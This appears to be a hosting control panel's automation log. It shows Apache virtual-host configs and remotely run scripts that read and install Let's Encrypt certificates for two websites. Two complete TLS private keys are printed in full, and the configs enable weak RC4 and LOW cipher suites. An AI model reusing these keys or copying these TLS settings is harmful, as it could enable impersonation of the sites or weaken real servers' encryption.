DocumentRoot /var/www/aletheiacollege_www
<Directory /var/www/aletheiacollege_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/aletheiacollege/www_access.log combined
ErrorLog /var/log/apache2/aletheiacollege/www_error.log
SetEnv pkp_uid 62
SetEnv pkp_owner aletheia
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName aletheiacollege.net
ServerAlias www.aletheiacollege.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/5eb375246e856b10900412efba9b1585.crt
DocumentRoot /var/www/aletheiacollege_www
<Directory /var/www/aletheiacollege_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/aletheiacollege/www_secure_access.log combined
ErrorLog /var/log/apache2/aletheiacollege/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-21 06:00:49:
PUT: /tmp/pkp323309
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/5eb375246e856b10900412efba9b1585.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-21 06:00:49:
chmod 755 /tmp/pkp323309; /tmp/pkp323309; rm /tmp/pkp323309
2025-10-21 06:00:49:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/5eb375246e856b10900412efba9b1585.crt 5394
d9:6c:d2:cc:38:a4:f0:55:18:37:7c:d4:84:32:1f:4f
-----BEGIN CERTIFICATE-----
MIIFGzCCBAOgAwIBAgISBufpyEkbI+BGjTgkC04Do1GxMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDIxMDUwMjE3WhcNMjYwMTE5MDUwMjE2WjAeMRwwGgYDVQQD
ExNhbGV0aGVpYWNvbGxlZ2UubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA5Y5QmdzHNef7cF/QbC/4oZ60GPkr7E+S8T8Yzwbfwp82EcfnEonzTuZN
5cKnhFqvsISlNqtVno1w3W/t6/mnbII3vzpT9G/rbeYqz5Q2Ra1yN1gZXww2DEwB
BYOdc90DjaI0ahJxras+5gRPJVNPrumOxR7T7LtFARXTgLs74i6NHAAXb9s+tK9a
ed0dBXk7pC/UEp619WCIsYL+1XF3xNF7uG1itc4110q9pbR3gX/5ZZMHWk+LXnqy
7b+3oH4ztCPvPmmO+g2PIUCI6DrgNIzYGfc2Bb7PdGOs1c/YQrZHGI8RPQ5LPA8U
ETWc7NeouufCTaEI+TlpdRmaxbq5OQIDAQABo4ICPDCCAjgwDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBQAd3HO+1JkUmUguh0bQ68S0U3XODAfBgNVHSMEGDAWgBQAtSny
LY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTIuaS5sZW5jci5vcmcvMDcGA1UdEQQwMC6CE2FsZXRoZWlhY29sbGVn
ZS5uZXSCF3d3dy5hbGV0aGVpYWNvbGxlZ2UubmV0MBMGA1UdIAQMMAowCAYGZ4EM
AQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNTAu
Y3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYAZBHEbKQS7KeJHKICLgC8q08o
B9QeNSer6v7VA8l9zfAAAAGaBVsYjAAABAMARzBFAiEAzq0Accyqy4ko0L4Kp7/i
1VdSKWqVqt8qL+h1vPb0LNQCIAUzrf66vd74pa8ruLtQgeAZmEodUavglDK+KR/B
VBcmAHYAlpdkv1VYl633Q4doNwhCd+nwOtX2pPM2bkakPw/KqcYAAAGaBVsYygAA
BAMARzBFAiEA3qYW8kEMF23vNaeFaHBb26NJbUK/WmQMQNKzNsQrLLwCIAl5hQ9B
s/y+QuTCnQlT19Bt+feCTFa3YxMTxudT0XHmMA0GCSqGSIb3DQEBCwUAA4IBAQCF
s1jnQv1ZbuXW4h6Yz14HIERccvE57wKFmJFAArJjDwOQjbGKOi2s2V330klKRX7D
GsUQA/ef7lC9cxfIYrVvCLeebCY4u01BFK4GVD1/Xe2sN7RfbwraLliem02t0+tw
t6geNcolpqXA1yvdSeS5tgofHCFodFv6pQVhD8LEfNNDFB01Y/1HQIcprXvspQl6
Tycxa+qk98U8ddkm2XSPaLeFyhis9QVryhyiwS9bIvtWbDfvskLbJxb+YMyKnDKy
3XbNMJkKeGIAI9/fdC/iJfMSzkLmEpnT/Eo2ViBhJsueiUbA+nIy2CXBnwqAGFGY
utZG8X75AMX5plPnd91v
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDljlCZ3Mc15/tw
X9BsL/ihnrQY+SvsT5LxPxjPBt/CnzYRx+cSifNO5k3lwqeEWq+whKU2q1WejXDd
b+3r+adsgje/OlP0b+tt5irPlDZFrXI3WBlfDDYMTAEFg51z3QONojRqEnGtqz7m
BE8lU0+u6Y7FHtPsu0UBFdOAuzviLo0cABdv2z60r1p53R0FeTukL9QSnrX1YIix
gv7VcXfE0Xu4bWK1zjXXSr2ltHeBf/llkwdaT4teerLtv7egfjO0I+8+aY76DY8h
QIjoOuA0jNgZ9zYFvs90Y6zVz9hCtkcYjxE9Dks8DxQRNZzs16i658JNoQj5OWl1
GZrFurk5AgMBAAECggEBAOKGrcMnuu3XHqil5Gbeb9wNYGvEdzOa0sZ+HV0uy2Ci
/BhPzBbfStpxKi2xCN3zH6xxORfZu4Paz6W07nQOyMirN5fdVzu/tfOdTmHJQEVC
A5PZvC+vPSalWdy3JIlRcFAz4MVLriJS+p7BYdjTfa59jAW5hif2JQINJ8nA+jcX
Gnb9yMEWWIbHIw6PG7/YJxr3vt51MQmkF2k2o5yTWna3Z+tJnQ4JgrHcd14H7uFZ
a27hIc3Puan8vqr7tF4P80lvifn74u+Wy58SZmm4rq7G0zNEiJQ8757ci7Fwyj3Z
X91uoTpaTcBzzYkULgI1My/8bm4ULlGv907JrTgzXoECgYEA8srYkMNNL8S3PSPy
3mV42bgvAa4p8f5tU7AzMNuEqnlKDsli4VmKWScHZ7MZyHrlSOD1kXryOgCFvMiW
mV8IkX2/EtvfNPcqBmdKSSTH1Qf2Awl/oqfKv8JGsm0izurP31RVTgIBxBmZitA6
NJUR2wWawQi7fajRzajR8QQ/O5sCgYEA8gsi94qcZbe6pAbNEdnwA7r8ihpGV8sJ
4Hat3p7ik788D/KEtXRu3RY8VRUwGme6LgPeYEeLZWfgBtXCxXwXMiK/u6qXqgVy
b9ACpBn381SojumctNYkLj1m6WE3YI+e2IoG2Lqfj0MiQjRO6xq0feK2p2skAbou
UXKX/NgG/bsCgYB8je2eDmNJrzxl5ExTJXFjGCcdUJD6MZE6jrkkRml/3ytL/Kp6
eyoLZIda/rmqbMm1opq4YH9lnCD/4VPJKMTHhuAAN8YBcQ8hK9ojPfg6ZJQjqLrO
4g+UYoFMRcrGphWwN55vn33ycUOgwAQsN5FqcCyc/PLam0HOpN3XLFuYIwKBgQCn
hImo5agkxipIx+Q6TKnPCyUpt9GjhYTKc5kWkMSkGSDKsMCkjXcFURRklot6WvwC
SO8pl5qkjmYAlQV+hMnRCzfD/OeG5sozFLYfOVHgeWFHt+ubRPI5hompUH1xOTVp
DO58JX21O3OEeot8MDlnPvfHm2GKSH8yI6uJdUIxbQKBgQCErELNFqOVsqsFuw0S
U2jttkyKmSNyOhhTqVALpdgUFbPRGiLBXPJRfMKQv5OPMQs9I4qkTDJI6HybYTAS
TbhCAzhHcal+P+idaSLF0hkYnUQG/9aW1+cpXNCtO2ODcuoWEH9whqS0SXvdpsFq
V6Ef5eI02ston7YdlHFXX0g6rw==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-10-21 06:00:49: Establishing a connection
2025-10-21 06:00:49: Establishing a connection
2025-10-21 06:00:49:
PUT: /tmp/pkp170600
#!/bin/bash
if [ -d "/var/www/gospelstudies_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-21 06:00:49:
chmod 755 /tmp/pkp170600; /tmp/pkp170600; rm /tmp/pkp170600
2025-10-21 06:00:49:
1
2025-10-21 06:00:50: Establishing a connection
2025-10-21 06:00:50:
PUT: /tmp/pkp766066
#!/bin/bash
mkdir -p "/var/www/gospelstudies_www/.well-known/acme-challenge/"
cd "/var/www/gospelstudies_www/.well-known/acme-challenge/"
cat > 1c7ahfMwVmxSPfucR8nqtKn-oWU4a3CGv6Y8ZkOA7aA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
1c7ahfMwVmxSPfucR8nqtKn-oWU4a3CGv6Y8ZkOA7aA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 1c7ahfMwVmxSPfucR8nqtKn-oWU4a3CGv6Y8ZkOA7aA
cat > ng4dMkXbEsFuB2EjzQeZYc97aqdLZ7fByV5S9hdnABA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ng4dMkXbEsFuB2EjzQeZYc97aqdLZ7fByV5S9hdnABA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 ng4dMkXbEsFuB2EjzQeZYc97aqdLZ7fByV5S9hdnABA
2025-10-21 06:00:50:
chmod 755 /tmp/pkp766066; /tmp/pkp766066; rm /tmp/pkp766066
2025-10-21 06:00:50:
2025-10-21 06:00:58: Establishing a connection
2025-10-21 06:00:58:
PUT: /tmp/pkp707824
#!/bin/bash
mkdir -p "/var/www/gospelstudies_www/.well-known/acme-challenge/"
cd "/var/www/gospelstudies_www/.well-known/acme-challenge/"
rm 1c7ahfMwVmxSPfucR8nqtKn-oWU4a3CGv6Y8ZkOA7aA
rm ng4dMkXbEsFuB2EjzQeZYc97aqdLZ7fByV5S9hdnABA
2025-10-21 06:00:58:
chmod 755 /tmp/pkp707824; /tmp/pkp707824; rm /tmp/pkp707824
2025-10-21 06:00:58:
2025-10-21 06:00:58: Establishing a connection
2025-10-21 06:00:58:
PUT: /tmp/pkp916792
#!/bin/bash
temp_file=$(mktemp)
TARGET=9c0bc7e77c379755b26b0bae03e4a9f3.crt
cat > $temp_file <<'endmsg'
70:53:6a:5c:5d:92:b6:e9:0e:c4:3d:16:c3:50:58:c4
-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBo1qOAyOzV88lC83bBn1ruWiMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDIxMDUwMjI4WhcNMjYwMTE5MDUwMjI3WjAcMRowGAYDVQQD
ExFnb3NwZWxzdHVkaWVzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAL165VVZ490YOKnwl1E25hBT+O3Sm6KOWj3nqt3Nx23aim8cnh7Jej8f1wMd
KRSimi3J4xiloOn2mKlGB1Dkyqk2ayXz3yXsxVdGYf0RY0PSWK0WKeqqYHBva9mB
go0HiFYIqfGNkWiub7iM7f48iVDbhBe/ws9GDGBcoev1cIwzUg4UqIyBzIaAzbyM
xFImtmdURd8WVmeWv/odzQ7vmaSA2mCA//EV7TJWZIHdsEfvaGbjjkVnwOtfWDlG
G+wiMmgOGsCxWHybkOf90SOqdy0d+eJy1oBt7tDOoVqhglPDC0h6n0XxjML/aHZ9
GYoaLzhUKIW6t5Hg3ck2ck/CfsMCAwEAAaOCAjgwggI0MA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQU+1/LW7J7Sbc7HIl1ErpBq7Yly9AwHwYDVR0jBBgwFoAU56ufDywz
oFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEzLmkubGVuY3Iub3JnLzAzBgNVHREELDAqghFnb3NwZWxzdHVkaWVzLm5l
dIIVd3d3Lmdvc3BlbHN0dWRpZXMubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4G
A1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMzUuY3JsMIIB
BAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFV
Uvvp6ynd+MMAAAGaBVtBwgAABAMARzBFAiAayYuwMklbn45kNrsxLfj/manwDYAX
+q6b7ptGW1sTlgIhAMZm/V5ni+0ukJcmvBC+E4nq216NRSP/i8+r1nue6FN7AHYA
GYbUxyiqb/66A294Kk0BkarOLXIxD67OXXBBLSVMx9QAAAGaBVtB1AAABAMARzBF
AiEAniy4+vMm8jZj56QqBFDB022T1zItD8miJO4djPk6Vv8CIFf3cKlPvNA88LC4
b2oPukONfp5olCOlcUIrMzLTfvOqMA0GCSqGSIb3DQEBCwUAA4IBAQAeTpwBckhG
gyQWURamJFqFRFzVjbZD3dHMcS73fv2ssICplYgznx9yRjWbS9kBtXenpqy5S/VC
bnsFQ4TzgzUIE4aUa26kACnQICt3hmSyqGYi8kYw9zsbX9VWRU+tMsSQ0J6LKsX4
6I3M+OWD+7Abpv6VF/+OncfUaG4VEzsg8A/7pyfkhZq/SchZcVURhvzcpZ2v1svl
i1ARrKr4ml7rob8/OPKFWyvZCs00uG5B/AtDbaZCr/6eUW+ffTQEPJvzTIE9xLlY
OY+80n1pzJZ9ZqSZqV2nEQ1BxIYoEevSirdUWxbSik94ST6oFjL9nfBJOCbHJrBl
Q3YnMrzuZs0C
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC9euVVWePdGDip
8JdRNuYQU/jt0puijlo956rdzcdt2opvHJ4eyXo/H9cDHSkUopotyeMYpaDp9pip
RgdQ5MqpNmsl898l7MVXRmH9EWND0litFinqqmBwb2vZgYKNB4hWCKnxjZForm+4
jO3+PIlQ24QXv8LPRgxgXKHr9XCMM1IOFKiMgcyGgM28jMRSJrZnVEXfFlZnlr/6
Hc0O75mkgNpggP/xFe0yVmSB3bBH72hm445FZ8DrX1g5RhvsIjJoDhrAsVh8m5Dn
/dEjqnctHfnictaAbe7QzqFaoYJTwwtIep9F8YzC/2h2fRmKGi84VCiFureR4N3J
NnJPwn7DAgMBAAECggEAEk6ZcdGpjmcUsnaoaBRhzhoO5wt+NgqC9ZA4lg2Xwylm
Tq35KQhWY1r0LzzWB0RemSX0ZyE5luFYhqJZeptgaVD0sUoKuWNS/cezF/xiFt9v
6elGS4ICp1pclTtKHc4oggd8Q/ZlojOYX8BeDj5TFhjfflvsupIOCBFrI50nLqRs
Ld7ZFyAZdXejt/RorE4UVEZ/EkuQdBi+5tw+EJCxH2uWWWL2QjwQPGnJZs2F+YU0
c0Vh7gOVFAVHw5/T0i4V8ME3eJp4Z8aKpJhGWdc85H4bhE3RZaIIdDaOmxRBYYo0
F9IDgfr8ge8nrMqbFT9mpPvtE34vnKYuU9l13r30YQKBgQDdZl9Spe9Sz0ahErY1
2F95wCPvmM4z9RDUGpmeyK96xPU8bhT3fj7+Gyqczx/wWG1oAU7bwSuttgff1+5k
1+HmLHREQrTi/c17LaaOAFhwObAEV31vS36K0AGWcke7y9OJUqKynXMpc4lzR9Sz
0REhiWUUZLIanafHGprWK61w7wKBgQDbF363f6vXcvAPP0K4fltYX5hZJ0l6mPat
83E46kh2MlEA4RCtMO0ms8tSlyF/nEGO2fGjBBe5oevGSrf1vqAHtg5EEENAMwBx
dQHq6n46OfqnVdxuBWm6G6+oWuSsQpNDIb7iocMt5/mIBkw5GC/exPxBmGlbV+5B
IcKDtpsnbQKBgDPNTiRiWtq/UMFDRYrXs48jG8VltWmGv4dBKgxy3EwXZWHcR9+Y
lFiUNqY1+D0eE4swMylLy1J7st/2//psYJigchu+l+A8jiVyCvRStF6dwMdjSSAP
Q+5quNRgrNQN3tLUmOi92kIqnFBy0Bu6oQ19vj7FSL7dgHIfkXbnBU/VAoGAGsY3
RSOEE5NHRQW9GKDQdu9Pxe1oLGRPGRj8CDGRY2hov8vBZvjosmccfN5dSKQG2vdF
cV+JqrTgBF6TNqPyGJ8mBSlbnpfdAQCEmHnJrUHyoMp8YrGkpwrFH7Tj5y1Ho9eW
5UlReeW0d+wVGpEbIIVAMp/2mCQZyLngdIo3Uc0CgYBZf1ekIdZx4f+9B5lxzmxp
NNMw2DpfeeYHKVrwk8bn8AaidsoF2ntsEO+shiGI5h9Ayl5R2Ld8r8nN2rE2a41/
+RWQOeCPplzHsbq3lKRS4g1eK+r188pnMK8R/FJXnZ7kv6/veWVHmCSM9aj6J36R
LwJaChF7pGHpu0YpLq+SAg==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-21 06:00:59:
chmod 755 /tmp/pkp916792; /tmp/pkp916792; rm /tmp/pkp916792
2025-10-21 06:00:59:
dir=/etc/ssl/certs
2025-10-21 06:00:59:
PUT: /tmp/pkp491102
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/gospelstudies_www_net.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-21 06:00:59:
chmod 755 /tmp/pkp491102; /tmp/pkp491102; rm /tmp/pkp491102
2025-10-21 06:00:59:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/gospelstudies_www_net.conf 45
<VirtualHost *:80>
ServerName gospelstudies.net
ServerAlias www.gospelstudies.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/gospelstudies_www
<Directory /var/www/gospelstudies_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/gospelstudies/www_access.log combined
ErrorLog /var/log/apache2/gospelstudies/www_error.log
SetEnv pkp_uid 50
SetEnv pkp_owner studies
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName gospelstudies.net
ServerAlias www.gospelstudies.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/9c0bc7e77c379755b26b0bae03e4a9f3.crt
DocumentRoot /var/www/gospelstudies_www
<Directory /var/www/gospelstudies_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/gospelstudies/www_secure_access.log combined
ErrorLog /var/log/apache2/gospelstudies/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-21 06:00:59:
PUT: /tmp/pkp771836
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=gospelstudies_www_net.conf
TARGET=/etc/apache2/sites-enabled/gospelstudies_www_net.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName gospelstudies.net
ServerAlias www.gospelstudies.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/gospelstudies_www
<Directory /var/www/gospelstudies_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/gospelstudies/www_access.log combined
ErrorLog /var/log/apache2/gospelstudies/www_error.log
SetEnv pkp_uid 50
SetEnv pkp_owner studies
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName gospelstudies.net
ServerAlias www.gospelstudies.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/9c0bc7e77c379755b26b0bae03e4a9f3.crt
DocumentRoot /var/www/gospelstudies_www
<Directory /var/www/gospelstudies_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/gospelstudies/www_secure_access.log combined
ErrorLog /var/log/apache2/gospelstudies/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
